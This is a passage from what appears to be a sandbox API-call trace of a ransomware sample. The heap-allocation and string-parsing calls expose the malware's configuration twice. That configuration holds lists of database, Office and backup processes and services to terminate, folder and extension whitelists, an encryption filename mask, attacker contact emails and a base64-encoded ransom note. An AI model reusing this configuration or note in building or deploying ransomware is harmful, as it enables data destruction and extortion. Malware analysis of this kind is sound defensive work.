Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 10 [0053.800] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2308, Size=0x14) returned 0x33d83c0 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8640 [0053.800] strtol (in: _Str="6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2fcfe8c, _Radix=0 | out: _EndPtr=0x2fcfe8c*=", \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 6 [0053.800] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d83c0, Size=0x18) returned 0x33d83e0 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d86a0 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8380 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d68a8 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d85c0 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d68a8, Size=0x8) returned 0x33df630 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8620 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df630, Size=0xc) returned 0x33d24b8 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d85e0 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d24b8, Size=0x10) returned 0x33d24a0 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d83c0 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d24a0, Size=0x14) returned 0x33d8680 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8580 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8680, Size=0x18) returned 0x33d8740 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8540 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8740, Size=0x1c) returned 0x33d88c8 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8440 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d88c8, Size=0x20) returned 0x33d8af8 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8700 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8af8, Size=0x24) returned 0x33d1b48 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d84a0 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1b48, Size=0x28) returned 0x33d1cc8 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8680 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1cc8, Size=0x2c) returned 0x33cbf50 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8720 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbf50, Size=0x30) returned 0x33cc308 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d84c0 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc308, Size=0x34) returned 0x33e0418 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d84e0 [0053.801] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e0418, Size=0x38) returned 0x33e0118 [0053.801] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8740 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e0118, Size=0x3c) returned 0x33cfd60 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8500 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfd60, Size=0x40) returned 0x33d0300 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df728 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0300, Size=0x44) returned 0x33d2d98 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df408 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33d68a8 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df568 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df668 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33e0a90 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df608 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e0a90, Size=0xc) returned 0x33d23b0 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df688 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d23b0, Size=0x10) returned 0x33d2338 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df768 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2338, Size=0x14) returned 0x33df588 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df4a8 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df588, Size=0x18) returned 0x33df748 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df708 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df748, Size=0x1c) returned 0x33d8af8 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df428 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8af8, Size=0x20) returned 0x33d8b20 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df528 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8b20, Size=0x24) returned 0x33d1b48 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df748 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1b48, Size=0x28) returned 0x33d1cc8 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df448 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1cc8, Size=0x2c) returned 0x33cc148 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df468 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc148, Size=0x30) returned 0x33cc420 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df6e8 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc420, Size=0x34) returned 0x33dfbd8 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df5a8 [0053.802] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d68a8, Size=0xc) returned 0x33d2590 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df5e8 [0053.802] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df788 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33d68a8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df628 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d68a8, Size=0xc) returned 0x33d25f0 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df5c8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d25f0, Size=0x10) returned 0x33d2518 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df6a8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2518, Size=0x14) returned 0x33df588 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df548 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df588, Size=0x18) returned 0x33df4c8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df588 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df4c8, Size=0x1c) returned 0x33d8af8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df7a8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8af8, Size=0x20) returned 0x33d88c8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df6c8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d88c8, Size=0x24) returned 0x33d1cc8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df488 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1cc8, Size=0x28) returned 0x33d1b48 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df7c8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1b48, Size=0x2c) returned 0x33cc148 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df4c8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc148, Size=0x30) returned 0x33cbdc8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df648 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cbdc8, Size=0x34) returned 0x33df8d8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df4e8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33df8d8, Size=0x38) returned 0x33dfb58 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33df508 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33dfb58, Size=0x3c) returned 0x33cfd18 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0898 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfd18, Size=0x40) returned 0x33d0300 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e08b8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d0300, Size=0x44) returned 0x33d29d8 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ab8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d29d8, Size=0x48) returned 0x33d2b18 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0818 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d2b18, Size=0x4c) returned 0x33d12c0 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0ad8 [0053.803] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x50) returned 0x33d12c0 [0053.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0858 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x54) returned 0x33d12c0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0af8 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x58) returned 0x33d12c0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e09f8 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x5c) returned 0x33d12c0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e09b8 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x60) returned 0x33d12c0 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0978 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d12c0, Size=0x64) returned 0x33c3eb8 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0b78 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3eb8, Size=0x68) returned 0x33c3eb8 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0938 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c3eb8, Size=0x6c) returned 0x33ca438 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0a58 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33ca438, Size=0x70) returned 0x33ca438 [0053.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e0998 [0053.804] RtlReAllocateHeap (Heap=0x33c0000, 